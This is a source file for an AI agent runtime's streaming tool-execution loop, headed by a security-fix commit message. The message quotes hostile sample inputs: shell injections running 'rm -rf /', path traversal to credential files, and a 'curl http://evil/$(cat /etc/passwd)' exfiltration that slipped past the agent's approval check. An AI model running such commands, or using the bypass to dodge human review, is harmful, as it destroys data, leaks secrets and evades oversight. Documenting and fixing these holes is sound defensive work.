Files
OpenOPC/opc/layer3_agent/runtime_v2/runtime.py
T
Test User 975b852e78 Fix command injection, path traversal, and approval bypass in tool/market layer
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.

Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
  A message like `foo" && rm -rf / #` injected arbitrary commands, and the
  approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
  `$(curl ...)` was executed. Now shlex-quoted.

Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
  manifest) was used directly as a directory name under prompts/market and
  passed to mkdir(parents=True) / shutil.rmtree. An id like
  `../../projects/<victim>` enabled arbitrary file write and arbitrary
  directory deletion. Added _market_prompts_dir() which validates the id
  (lowercase alphanumeric + -/_) and confirms the resolved path stays inside
  the market base; uninstall validates up front. Prompt-content filenames are
  also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
  report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
  read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
  were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
  role id/name) flowed unchecked into the path, enabling traversal writes.
  Now reduced to a safe path component with a containment check.

Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
  auto-approved as LOW risk even when it contained shell command substitution.
  `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
  human/LLM review, letting bash exfil data. Added
  _command_has_shell_substitution() and gated safe-prefix matching on it.

Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
  the `-Command` flag from PowerShell argv (4 elements), silently breaking
  every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
  JSON array) were silently replaced with `{}` while arguments_parse_error
  stayed None, so the tool executed with empty args (todo_write could wipe the
  task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
  store.initialize() (via _sweep_stale_claims), so a single corrupt row
  prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
  `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
  None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
  outbound dispatch loop and silently stopped all message delivery on every
  channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
  `data.get` raise AttributeError and drop the whole WS connection. Non-dict
  frames are now ignored.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-07-03 10:14:16 +08:00

3845 lines
171 KiB
Python

"""Native Runtime V2: streaming LLM loop + structured tool execution."""
from __future__ import annotations
import asyncio
import hashlib
import json
import re
import time
import uuid
from dataclasses import dataclass
from typing import Any, Awaitable, Callable, Optional
from loguru import logger
from opc.core.config import OPCConfig
from opc.core.events import EventBus
from opc.core.models import OPCEvent, PermissionResolution, Task, TaskResult, TaskStatus, VerificationEvidence
from opc.layer2_organization.collaboration_policy import ownership_guard_violation
from opc.layer2_organization.work_item_identity import (
projection_id_for_task,
turn_type_for_task,
work_item_identity_payload_for_task,
)
from opc.layer3_agent.runtime_v2.permissions import ToolPermissionResolver
from opc.layer3_agent.runtime_v2.streaming_tool_executor import StreamingToolExecutor
from opc.layer3_agent.runtime_v2.subagents import ChildAgentFactory, SubagentManager
from opc.layer3_agent.runtime_v2.tool_hooks import RuntimeToolHookBus, RuntimeToolHookContext
from opc.layer3_agent.runtime_v2.tool_planner import ToolPlanner
from opc.layer3_agent.prompt_harness import (
render_runtime_artifact_messages,
strip_runtime_artifact_messages,
)
from opc.layer3_agent.prompt_harness.artifacts import build_runtime_artifact_record
from opc.layer3_agent.prompt_harness.types import RuntimeArtifact
from opc.layer4_tools.execution_context import ensure_task_execution_context
from opc.layer4_tools.output_budget import clip_text
from opc.layer4_tools.registry import ToolDefinition
from opc.layer4_tools.registry import ToolRegistry
from opc.layer6_observability.cost_tracker import CostEntry
from opc.llm.provider import LLMProvider
ApprovalCallback = Callable[[ToolDefinition, dict[str, Any], Optional[Task], Any], Awaitable[tuple[bool, Any]]]
PrefetchProvider = Callable[[Task, str, list[dict[str, Any]]], Awaitable[dict[str, str]]]
@dataclass
class _RuntimePrefetchHandle:
task: asyncio.Task[dict[str, str]]
query: str
consumed: bool = False
class NativeRuntimeV2:
"""OpenOPC native runtime with structured events and tool batches."""
def __init__(
self,
*,
llm: LLMProvider,
tool_registry: ToolRegistry,
event_bus: EventBus | None = None,
cost_tracker: Any | None = None,
memory_manager: Any | None = None,
history_compactor: Any | None = None,
max_iterations: int = 50,
compression_threshold: float = 0.85,
config: OPCConfig | None = None,
child_agent_factory: ChildAgentFactory | None = None,
approval_callback: ApprovalCallback | None = None,
prefetch_provider: PrefetchProvider | None = None,
) -> None:
self.llm = llm
self.tools = tool_registry
self.event_bus = event_bus
self.cost_tracker = cost_tracker
self.memory_manager = memory_manager
self.history_compactor = history_compactor
self.max_iterations = max_iterations
self.compression_threshold = compression_threshold
self.config = config or OPCConfig()
self.child_agent_factory = child_agent_factory
self.approval_callback = approval_callback
self.prefetch_provider = prefetch_provider
self._pre_tool_hooks: list[tuple[str, Any]] = []
self._post_tool_hooks: list[tuple[str, Any]] = []
self._failure_tool_hooks: list[tuple[str, Any]] = []
def register_pre_tool_hook(self, name: str, hook: Any) -> None:
self._pre_tool_hooks.append((name, hook))
def register_post_tool_hook(self, name: str, hook: Any) -> None:
self._post_tool_hooks.append((name, hook))
def register_failure_tool_hook(self, name: str, hook: Any) -> None:
self._failure_tool_hooks.append((name, hook))
async def run(
self,
system_prompt: str,
user_message: str,
context_messages: list[dict[str, Any]] | None = None,
attachment_refs: list[dict[str, Any]] | None = None,
task: Task | None = None,
allowed_tools: list[str] | None = None,
on_progress: Any = None,
inbox_interrupt_provider: Any = None,
) -> TaskResult:
if task is not None:
ensure_task_execution_context(task, self.config)
runtime_session_id = self._runtime_session_id(task)
conversation_turn_id = self._conversation_turn_id(task, runtime_session_id)
permission_session_id = self._permission_session_id(task, runtime_session_id)
user_content = self.llm.prepare_user_message_content(
user_message,
attachment_refs=attachment_refs,
)
messages, base_prefix_len = await self._bootstrap_messages(
system_prompt=system_prompt,
user_content=user_content,
user_message=user_message,
context_messages=context_messages,
task=task,
)
tool_schemas = self.llm.get_tool_definitions(self.tools.get_schemas(allowed=allowed_tools))
planner = ToolPlanner(
self.tools,
max_parallel_read_tools=self.config.system.native_runtime.max_parallel_read_tools,
)
permission_resolver = ToolPermissionResolver(
self.config.autonomy.permissions_v2,
store=getattr(self.memory_manager, "store", None),
runtime_session_id=permission_session_id,
project_id=task.project_id if task else "default",
llm=self.llm,
)
await permission_resolver.warmup()
todo_state: list[dict[str, Any]] = self._restore_task_ledger(task)
current_runtime_messages: list[dict[str, Any]] = []
runtime_status: dict[str, Any] = {
"current_tool": None,
"queue_depth": 0,
"drain_mode": "idle",
"tool_elapsed_ms": 0,
"last_tool_summary": "",
"context_tokens": 0,
"context_window": self._context_window_limit(),
"context_remaining_pct": 100,
"input_tokens": 0,
"output_tokens": 0,
"total_tokens": 0,
"turn_cost_usd": 0.0,
"session_cost_usd": 0.0,
"pending_permission_count": 0,
}
runtime_notes: dict[str, Any] = {
"observed_risky_tools": [],
"mutating_tools": [],
"verification": {},
"prefetch_hits": [],
"task_ledger": list(todo_state),
"artifact_manifest": list(self._boot_artifact_manifest(task)),
"artifact_hashes": dict(self._boot_artifact_hashes(task)),
}
pending_prefetch: _RuntimePrefetchHandle | None = None
subagents = SubagentManager(
parent_task=task,
config=self.config,
child_agent_factory=self.child_agent_factory,
event_bus=self.event_bus,
store=getattr(self.memory_manager, "store", None),
runtime_session_id=runtime_session_id,
)
hook_bus = self._build_tool_hook_bus(
runtime_session_id=runtime_session_id,
task=task,
permission_resolver=permission_resolver,
on_progress=on_progress,
)
async def _emit_executor_event(event_type: str, payload: dict[str, Any]) -> None:
payload = dict(payload or {})
execution_turn_id = self._runtime_iteration_turn_id(conversation_turn_id, iteration)
payload.setdefault("iteration", iteration + 1)
payload.setdefault("turn_id", execution_turn_id)
payload.setdefault("canonical_turn_id", conversation_turn_id)
payload.setdefault("conversation_turn_id", conversation_turn_id)
payload.setdefault("execution_turn_id", execution_turn_id)
tool_call_id = str(payload.get("tool_call_id", "") or "").strip()
if tool_call_id:
prefix = "permission" if event_type.startswith("permission_") else "tool"
payload.setdefault("item_id", f"{execution_turn_id}:{prefix}:{tool_call_id}")
payload.setdefault("stream_id", f"{execution_turn_id}:{prefix}:{tool_call_id}")
if event_type.startswith("permission_"):
group_key = self._permission_group_key(
str(payload.get("tool_name", "") or ""),
dict(payload.get("arguments", {}) or {}),
)
if group_key:
payload.setdefault("permission_group_key", group_key)
await self._emit_runtime_event(
runtime_session_id,
task,
event_type,
payload,
)
if event_type == "tool_started":
runtime_status["current_tool"] = str(payload.get("tool_name", "") or "") or None
runtime_status["queue_depth"] = 1
runtime_status["drain_mode"] = "smooth"
runtime_status["tool_elapsed_ms"] = 0
elif event_type == "tool_progress":
runtime_status["current_tool"] = str(payload.get("tool_name", "") or runtime_status.get("current_tool") or "") or None
runtime_status["queue_depth"] = 1 if runtime_status.get("current_tool") else 0
runtime_status["drain_mode"] = "smooth" if runtime_status.get("current_tool") else "idle"
runtime_status["tool_elapsed_ms"] = int(payload.get("elapsed_ms", 0) or 0)
runtime_status["last_tool_summary"] = str(
payload.get("message", "") or payload.get("text", "") or runtime_status.get("last_tool_summary", "")
).strip()
elif event_type == "tool_completed":
runtime_status["current_tool"] = None
runtime_status["queue_depth"] = 0
runtime_status["drain_mode"] = "idle"
runtime_status["tool_elapsed_ms"] = int(payload.get("elapsed_ms", 0) or 0)
runtime_status["last_tool_summary"] = str(payload.get("result_summary", "") or "").strip()
elif event_type == "tool_skipped":
runtime_status["queue_depth"] = 0
runtime_status["drain_mode"] = "idle"
runtime_status["last_tool_summary"] = str(payload.get("reason", "") or "").strip()
elif event_type == "permission_requested":
runtime_status["pending_permission_count"] = int(runtime_status.get("pending_permission_count", 0) or 0) + 1
elif event_type == "permission_resolved":
runtime_status["pending_permission_count"] = max(
0,
int(runtime_status.get("pending_permission_count", 0) or 0) - 1,
)
if event_type in {
"tool_started",
"tool_progress",
"tool_completed",
"tool_skipped",
"permission_requested",
"permission_resolved",
}:
await self._emit_status_snapshot(runtime_session_id, task, runtime_status)
executor = StreamingToolExecutor(
registry=self.tools,
planner=planner,
permission_resolver=permission_resolver,
hook_bus=hook_bus,
runtime_tool_handler=lambda tool_name, arguments: self._handle_runtime_tool(
subagents=subagents,
tool_name=tool_name,
arguments=arguments,
task=task,
todo_state=todo_state,
),
emit_event=_emit_executor_event,
max_parallel_read_tools=self.config.system.native_runtime.max_parallel_read_tools,
converge_on_parallel_failure=self.config.system.native_runtime.converge_on_parallel_failure,
)
total_cost = 0.0
total_usage: dict[str, int] = {"prompt_tokens": 0, "completion_tokens": 0}
aggregated_artifacts: dict[str, Any] = {}
overflow_retries = 0
max_overflow_retries = max(
1,
int(self.config.system.native_runtime.reactive_compaction.max_overflow_retries or 1),
) if self.config.system.native_runtime.reactive_compaction.enabled else 1
compaction_boundaries: list[dict[str, Any]] = []
await self._save_runtime_session(
runtime_session_id,
task,
"running",
{
"allowed_tools": allowed_tools or [],
"task_ledger": list(todo_state),
"prefetch_hits": [],
"artifact_manifest": list(runtime_notes.get("artifact_manifest", []) or []),
},
)
await self._seed_user_turn(
task,
user_message,
runtime_session_id=runtime_session_id,
conversation_turn_id=conversation_turn_id,
)
await self._emit_prompt_prefix_state(
runtime_session_id=runtime_session_id,
task=task,
messages=messages,
tool_schemas=tool_schemas,
base_prefix_len=base_prefix_len,
)
await self._emit_status_snapshot(runtime_session_id, task, runtime_status)
for iteration in range(self.max_iterations):
await self._emit_runtime_event(
runtime_session_id,
task,
"turn_started",
{
"iteration": iteration + 1,
"turn_id": conversation_turn_id,
"canonical_turn_id": conversation_turn_id,
"conversation_turn_id": conversation_turn_id,
"execution_turn_id": self._runtime_iteration_turn_id(conversation_turn_id, iteration),
},
)
await self._emit_status_snapshot(runtime_session_id, task, {**runtime_status, "drain_mode": "smooth"})
messages, base_prefix_len, consumed_hits = await self._consume_ready_prefetch(
pending_prefetch,
messages=messages,
base_prefix_len=base_prefix_len,
runtime_session_id=runtime_session_id,
task=task,
)
if consumed_hits:
runtime_notes["prefetch_hits"] = [
*list(runtime_notes.get("prefetch_hits", []) or []),
*consumed_hits,
]
await self._save_runtime_session(
runtime_session_id,
task,
"running",
self._build_runtime_state_metadata(
task=task,
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=subagents.list_agents().get("agents", []),
),
)
pending_prefetch = None
if pending_prefetch is None:
pending_prefetch = self._start_runtime_prefetch(task, messages)
if inbox_interrupt_provider is not None and task is not None:
try:
inbox_messages = await inbox_interrupt_provider(task)
except Exception as exc: # pragma: no cover - defensive
logger.debug(f"Runtime inbox provider failed: {exc}")
inbox_messages = []
if inbox_messages:
messages.append({
"role": "system",
"content": self._format_interrupt_notice(inbox_messages),
})
messages = await self._apply_context_pipeline(
messages,
tool_schemas=tool_schemas,
task=task,
base_prefix_len=base_prefix_len,
runtime_session_id=runtime_session_id,
compaction_boundaries=compaction_boundaries,
todo_state=todo_state,
runtime_notes=runtime_notes,
active_subagents=subagents.list_agents().get("agents", []),
)
context_usage = await self._emit_context_usage(
runtime_session_id=runtime_session_id,
task=task,
messages=messages,
tool_schemas=tool_schemas,
phase="pre_llm",
)
runtime_status["context_tokens"] = int(context_usage.get("context_tokens", 0) or 0)
runtime_status["context_window"] = int(context_usage.get("context_window", 0) or 0)
runtime_status["context_remaining_pct"] = int(context_usage.get("context_remaining_pct", 0) or 0)
await self._emit_status_snapshot(runtime_session_id, task, runtime_status)
assistant_text = ""
assistant_delta_seq = 0
thinking_delta_seq = 0
tool_call_chunks: dict[int, dict[str, Any]] = {}
early_tool_runs: dict[int, dict[str, Any]] = {}
try:
async for event in self.llm.chat_stream(messages, tools=tool_schemas):
if event.event_type == "assistant_delta":
delta_text = str(event.payload.get("text", "") or "")
if delta_text:
assistant_text += delta_text
turn_id = self._runtime_iteration_turn_id(conversation_turn_id, iteration)
assistant_delta_seq += 1
await self._emit_runtime_event(
runtime_session_id,
task,
"assistant_delta",
{
"iteration": iteration + 1,
"turn_id": turn_id,
"canonical_turn_id": conversation_turn_id,
"conversation_turn_id": conversation_turn_id,
"execution_turn_id": turn_id,
"item_id": f"{turn_id}:assistant",
"stream_id": f"{turn_id}:assistant",
"seq": assistant_delta_seq,
"text": delta_text,
},
)
elif event.event_type == "thinking_delta":
thinking_text = str(event.payload.get("text", "") or "")
if thinking_text:
# Keep the full thinking stream for the final
# transcript metadata; the UI renders it as a
# collapsed block after the turn completes.
runtime_notes["latest_thinking_text"] = (
str(runtime_notes.get("latest_thinking_text", "") or "") + thinking_text
)
turn_id = conversation_turn_id
execution_turn_id = self._runtime_iteration_turn_id(conversation_turn_id, iteration)
thinking_delta_seq += 1
await self._emit_runtime_event(
runtime_session_id,
task,
"thinking_delta",
{
"iteration": iteration + 1,
"turn_id": turn_id,
"canonical_turn_id": conversation_turn_id,
"conversation_turn_id": conversation_turn_id,
"execution_turn_id": execution_turn_id,
"item_id": f"{turn_id}:thinking",
"stream_id": f"{turn_id}:thinking",
"seq": thinking_delta_seq,
"text": thinking_text,
},
)
elif event.event_type == "tool_call_delta":
index = int(event.payload.get("index", 0) or 0)
bucket = tool_call_chunks.setdefault(index, {
"id": "",
"function": "",
"arguments_chunks": [],
})
if event.payload.get("id"):
bucket["id"] = event.payload["id"]
if event.payload.get("name"):
bucket["function"] = event.payload["name"]
arguments_chunk = str(event.payload.get("arguments", "") or "")
if arguments_chunk:
bucket["arguments_chunks"].append(arguments_chunk)
await self._maybe_start_streaming_tool_calls(
upto_index=index,
tool_call_chunks=tool_call_chunks,
early_tool_runs=early_tool_runs,
executor=executor,
planner=planner,
permission_resolver=permission_resolver,
task=task,
on_progress=on_progress,
runtime_session_id=runtime_session_id,
)
elif event.event_type == "usage":
prompt_tokens = int(event.payload.get("prompt_tokens", 0) or 0)
completion_tokens = int(event.payload.get("completion_tokens", 0) or 0)
estimated_cost_delta = float(event.payload.get("estimated_cost_delta", 0.0) or 0.0)
total_usage["prompt_tokens"] += prompt_tokens
total_usage["completion_tokens"] += completion_tokens
total_cost += estimated_cost_delta
runtime_status["input_tokens"] = total_usage["prompt_tokens"]
runtime_status["output_tokens"] = total_usage["completion_tokens"]
runtime_status["total_tokens"] = total_usage["prompt_tokens"] + total_usage["completion_tokens"]
if self.cost_tracker and (prompt_tokens or completion_tokens or estimated_cost_delta):
entry = CostEntry(
task_id=task.id if task else None,
agent_id=task.assigned_to if task else None,
org_id=task.org_id if task else None,
model=str(event.payload.get("model", "") or event.model or ""),
tokens_in=prompt_tokens,
tokens_out=completion_tokens,
cost=estimated_cost_delta,
)
await self.cost_tracker.record(entry)
runtime_status["turn_cost_usd"] = round(total_cost, 6)
runtime_status["session_cost_usd"] = round(
float(getattr(self.cost_tracker, "session_total", total_cost) if self.cost_tracker else total_cost),
6,
)
runtime_status["context_window"] = int(
event.payload.get("context_window", 0) or runtime_status.get("context_window", 0) or 0
)
await self._emit_runtime_event(
runtime_session_id,
task,
"cost_update",
{
"iteration": iteration + 1,
"model": str(event.payload.get("model", "") or event.model or ""),
"tokens_in": prompt_tokens,
"tokens_out": completion_tokens,
"tokens_total": prompt_tokens + completion_tokens,
"input_tokens_total": runtime_status["input_tokens"],
"output_tokens_total": runtime_status["output_tokens"],
"turn_cost_usd": runtime_status["turn_cost_usd"],
"session_cost_usd": runtime_status["session_cost_usd"],
"estimated_cost_delta": estimated_cost_delta,
},
)
await self._emit_status_snapshot(runtime_session_id, task, runtime_status)
elif event.event_type == "error":
raise RuntimeError(str(event.payload.get("message", "Unknown LLM stream error")))
if event.event_type not in {"assistant_delta", "thinking_delta"}:
await self._emit_runtime_event(
runtime_session_id,
task,
event.event_type,
{
**event.payload,
"iteration": iteration + 1,
"model": event.model,
},
)
except Exception as exc:
if self.llm.is_context_overflow_error(exc) and overflow_retries < max_overflow_retries:
overflow_retries += 1
messages = await self._apply_context_pipeline(
messages,
tool_schemas=tool_schemas,
task=task,
base_prefix_len=base_prefix_len,
runtime_session_id=runtime_session_id,
compaction_boundaries=compaction_boundaries,
force_compact=True,
todo_state=todo_state,
runtime_notes=runtime_notes,
active_subagents=subagents.list_agents().get("agents", []),
)
continue
recovered_turn = await self._recover_tool_protocol_stream_error(
exc=exc,
messages=messages,
tool_schemas=tool_schemas,
base_prefix_len=base_prefix_len,
runtime_session_id=runtime_session_id,
task=task,
iteration=iteration,
early_tool_runs=early_tool_runs,
)
if recovered_turn is not None:
messages = list(recovered_turn["messages"])
assistant_text = str(recovered_turn["assistant_text"] or "")
tool_call_chunks = dict(recovered_turn["tool_call_chunks"] or {})
usage = dict(recovered_turn.get("usage", {}) or {})
total_usage["prompt_tokens"] += int(usage.get("prompt_tokens", 0) or 0)
total_usage["completion_tokens"] += int(usage.get("completion_tokens", 0) or 0)
await self._emit_runtime_event(
runtime_session_id,
task,
"tool_protocol_recovered",
{
"iteration": iteration + 1,
"strategy": str(recovered_turn.get("strategy", "") or ""),
"tool_call_count": len(tool_call_chunks),
"model": str(recovered_turn.get("model", "") or ""),
},
)
else:
await self._cancel_early_tool_runs(early_tool_runs)
truncated = self._truncate_to_last_clean_user_turn(messages, base_prefix_len)
if truncated and len(truncated) > base_prefix_len:
await self._emit_runtime_event(
runtime_session_id,
task,
"tool_protocol_retry",
{
"iteration": iteration + 1,
"strategy": "truncate",
"message": str(exc),
},
)
messages = truncated
continue
await self._emit_runtime_event(
runtime_session_id,
task,
"turn_failed",
{
"iteration": iteration + 1,
"turn_id": conversation_turn_id,
"canonical_turn_id": conversation_turn_id,
"conversation_turn_id": conversation_turn_id,
"execution_turn_id": self._runtime_iteration_turn_id(conversation_turn_id, iteration),
"message": str(exc),
},
)
runtime_status["current_tool"] = None
runtime_status["queue_depth"] = 0
runtime_status["drain_mode"] = "idle"
await self._emit_status_snapshot(runtime_session_id, task, runtime_status)
await self._save_runtime_session(runtime_session_id, task, "failed", {"error": str(exc)})
self._cancel_prefetch(pending_prefetch)
return TaskResult(
status=TaskStatus.FAILED,
content=f"LLM stream failed: {exc}",
artifacts={"runtime_session_id": runtime_session_id},
cost=total_cost,
token_usage=total_usage,
)
tool_calls = self._finalize_tool_calls(tool_call_chunks)
assistant_message = {"role": "assistant", "content": assistant_text}
if tool_calls:
assistant_message["tool_calls"] = [
{
"id": item["id"],
"type": "function",
"function": {
"name": item["function"],
"arguments": json.dumps(item["arguments"], ensure_ascii=False, default=str),
},
}
for item in tool_calls
]
messages.append(assistant_message)
current_runtime_messages = [dict(message) for message in messages]
await self._persist_assistant_turn(
task,
assistant_text,
tool_calls,
runtime_session_id=runtime_session_id,
turn_id=(
self._runtime_iteration_turn_id(conversation_turn_id, iteration)
if tool_calls
else conversation_turn_id
),
conversation_turn_id=conversation_turn_id,
iteration=iteration + 1,
thinking_text=str(runtime_notes.get("latest_thinking_text", "") or ""),
)
await self._maybe_update_background_session_memory(
runtime_session_id=runtime_session_id,
task=task,
messages=messages,
)
if not tool_calls:
if on_progress and assistant_text:
await self._emit_progress(on_progress, assistant_text, task)
active_subagents = subagents.list_agents().get("agents", [])
verification_gate = await self._run_verification_gate(
runtime_session_id=runtime_session_id,
task=task,
subagents=subagents,
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
)
if verification_gate is not None:
await self._save_runtime_session(
runtime_session_id,
task,
verification_gate.status.value,
dict(verification_gate.artifacts or {}),
)
self._cancel_prefetch(pending_prefetch)
return verification_gate
extraction_artifacts = await self._extract_durable_memory(
task=task,
user_message=user_message,
assistant_text=assistant_text,
runtime_session_id=runtime_session_id,
)
if extraction_artifacts:
aggregated_artifacts = self._merge_artifacts(aggregated_artifacts, extraction_artifacts)
final_content, verification_verdict = self._apply_verification_contract(
assistant_text,
task=task,
todo_state=todo_state,
runtime_notes=runtime_notes,
)
artifacts = {
**aggregated_artifacts,
"runtime_session_id": runtime_session_id,
"permission_requests": self._permission_requests_from_results([]),
"active_subagents": active_subagents,
"compaction_boundaries": list(compaction_boundaries),
"compaction_records": list(compaction_boundaries),
"resume_cursor": len(messages),
"worktree_path": self._primary_worktree_path(active_subagents),
"task_ledger": list(todo_state),
"prefetch_hits": list(runtime_notes.get("prefetch_hits", []) or []),
"verification": dict(runtime_notes.get("verification", {}) or {}),
"verification_evidence": dict((runtime_notes.get("verification", {}) or {}).get("evidence", {}) or {}),
"verification_verdict": verification_verdict,
"artifact_manifest": list(self._compose_runtime_artifact_manifest(
task=task,
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
)),
"resume_state": self._build_resume_state(
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
),
}
await self._emit_runtime_event(
runtime_session_id,
task,
"turn_completed",
{
"iteration": iteration + 1,
"turn_id": conversation_turn_id,
"canonical_turn_id": conversation_turn_id,
"conversation_turn_id": conversation_turn_id,
"execution_turn_id": self._runtime_iteration_turn_id(conversation_turn_id, iteration),
"content_preview": final_content[:500],
},
)
runtime_status["current_tool"] = None
runtime_status["queue_depth"] = 0
runtime_status["drain_mode"] = "idle"
await self._emit_status_snapshot(runtime_session_id, task, runtime_status)
await self._save_runtime_session(runtime_session_id, task, "completed", artifacts)
self._cancel_prefetch(pending_prefetch)
return TaskResult(
status=TaskStatus.DONE,
content=final_content,
artifacts=artifacts,
cost=total_cost,
token_usage=total_usage,
)
execution_results = await self._collect_execution_results(
tool_calls=tool_calls,
early_tool_runs=early_tool_runs,
executor=executor,
task=task,
on_progress=on_progress,
)
self._update_runtime_notes(runtime_notes, execution_results)
runtime_notes["task_ledger"] = list(todo_state)
active_subagents = subagents.list_agents().get("agents", [])
await self._persist_task_ledger(
runtime_session_id=runtime_session_id,
task=task,
todo_state=todo_state,
runtime_notes=runtime_notes,
messages=messages,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
)
await self._persist_permission_grants(permission_session_id, task, execution_results)
early_return = self._handle_pause_or_peer_wait(
execution_results,
aggregated_artifacts,
runtime_session_id,
task=task,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
messages=messages,
todo_state=todo_state,
runtime_notes=runtime_notes,
)
if early_return is not None:
await self._save_runtime_session(runtime_session_id, task, early_return.status.value, early_return.artifacts)
self._cancel_prefetch(pending_prefetch)
return early_return
for item in execution_results:
call = item["tool_call"]
result = item["result"]
decision = item.get("permission_decision")
clipped_result = self._clip_tool_result_for_history(
str(call.get("function", "") or ""),
result,
)
result_text = json.dumps(clipped_result, ensure_ascii=False, default=str)
messages.append({
"role": "tool",
"tool_call_id": call.get("id"),
"content": result_text,
})
result_payload = result.get("result", {})
if isinstance(result_payload, dict):
aggregated_artifacts = self._merge_artifacts(aggregated_artifacts, result_payload)
await self._persist_tool_result(
task,
call,
clipped_result,
decision,
runtime_session_id=runtime_session_id,
hook_metadata=item.get("hook_metadata", {}),
)
await self._save_runtime_session(runtime_session_id, task, "failed", {"reason": "max_iterations"})
self._cancel_prefetch(pending_prefetch)
return TaskResult(
status=TaskStatus.FAILED,
content=f"Exceeded maximum iterations ({self.max_iterations})",
artifacts={"runtime_session_id": runtime_session_id},
cost=total_cost,
token_usage=total_usage,
)
async def _handle_runtime_tool(
self,
*,
subagents: SubagentManager,
tool_name: str,
arguments: dict[str, Any],
task: Task | None = None,
todo_state: list[dict[str, Any]] | None = None,
) -> dict[str, Any]:
if tool_name == "todo_write":
todos_payload = arguments.get("todos", [])
if isinstance(todos_payload, str):
try:
todos_payload = json.loads(todos_payload)
except json.JSONDecodeError as exc:
return {"error": f"Invalid todo JSON: {exc}", "success": False}
normalized_todos = self._normalize_todos(todos_payload)
todo_state[:] = normalized_todos if todo_state is not None else normalized_todos
return {
"success": True,
"result": {
"todos": list(todo_state or []),
"rendered": self._render_todos(todo_state or []),
"task_ledger": list(todo_state or []),
},
}
if tool_name == "todo_read":
return {
"success": True,
"result": {
"todos": list(todo_state or []),
"rendered": self._render_todos(todo_state or []),
"task_ledger": list(todo_state or []),
},
}
if tool_name == "agent_spawn":
background = arguments.get("background")
if "run_in_background" in arguments:
background = arguments.get("run_in_background")
resident = bool(arguments.get("resident", False))
mode = self._normalize_spawn_mode(arguments.get("mode", "default"))
return await subagents.spawn(
profile=str(arguments.get("profile") or arguments.get("subagent_type") or "general"),
prompt=str(arguments.get("prompt", "") or ""),
description=str(arguments.get("description", "") or ""),
name=str(arguments.get("name", "") or ""),
model=str(arguments.get("model", "") or ""),
mode=mode,
background=bool(background) if background is not None else None,
isolation=str(arguments.get("isolation", "") or "").strip() or None,
resident=resident,
)
if tool_name == "agent_wait":
return await subagents.wait(
str(arguments.get("agent_id", "") or ""),
int(arguments.get("timeout_seconds", 300) or 300),
)
if tool_name == "agent_send":
return await subagents.send(
str(arguments.get("agent_id", "") or ""),
str(arguments.get("message", "") or ""),
)
if tool_name == "agent_list":
return subagents.list_agents()
return {"error": f"Unknown runtime-managed tool: {tool_name}", "success": False}
def _runtime_session_id(self, task: Task | None) -> str:
if task:
runtime_resume = self._runtime_resume_payload(task)
runtime_session_id = str(
runtime_resume.get("runtime_session_id")
or (task.metadata.get("runtime_v2", {}) or {}).get("runtime_session_id")
or ""
).strip()
if runtime_session_id:
return runtime_session_id
return f"rt_{uuid.uuid4().hex}"
@staticmethod
def _runtime_resume_payload(task: Task | None) -> dict[str, Any]:
if task is None:
return {}
context_snapshot = getattr(task, "context_snapshot", {}) or {}
if not isinstance(context_snapshot, dict):
return {}
raw_resume = context_snapshot.get("runtime_resume", {})
return dict(raw_resume) if isinstance(raw_resume, dict) else {}
def _conversation_turn_id(self, task: Task | None, runtime_session_id: str) -> str:
if task:
metadata = dict(getattr(task, "metadata", {}) or {})
runtime_meta = dict(metadata.get("runtime_v2", {}) or {})
for source in (metadata, runtime_meta):
for key in (
"conversation_turn_id",
"current_turn_id",
"runtime_v2_current_turn_id",
"canonical_turn_id",
"turn_id",
):
value = str(source.get(key, "") or "").strip()
if value:
return value
return f"{runtime_session_id}:turn:{uuid.uuid4().hex}"
@staticmethod
def _runtime_iteration_turn_id(conversation_turn_id: str, iteration: int) -> str:
normalized_turn_id = str(conversation_turn_id or "").strip()
if not normalized_turn_id:
normalized_turn_id = f"turn:{uuid.uuid4().hex}"
return f"{normalized_turn_id}:iter:{iteration + 1}"
def _permission_session_id(self, task: Task | None, runtime_session_id: str) -> str:
if not task:
return runtime_session_id
bridged = str(task.metadata.get("_permission_bridge_runtime_session_id", "") or "").strip()
return bridged or runtime_session_id
def _build_tool_hook_bus(
self,
*,
runtime_session_id: str,
task: Task | None,
permission_resolver: ToolPermissionResolver,
on_progress: Any = None,
) -> RuntimeToolHookBus:
hook_bus = RuntimeToolHookBus(
emit_event=lambda event_type, payload: self._emit_runtime_event(
runtime_session_id,
task,
event_type,
payload,
),
)
if self.config.system.native_runtime.enable_tool_hooks:
hook_bus.register_pre_hook(
"permission_gate",
lambda context: self._approval_pre_hook(
context,
permission_resolver=permission_resolver,
on_progress=on_progress,
),
)
hook_bus.register_post_hook("approval_metadata", self._approval_post_hook)
hook_bus.register_post_hook("command_exit", self._command_exit_post_hook)
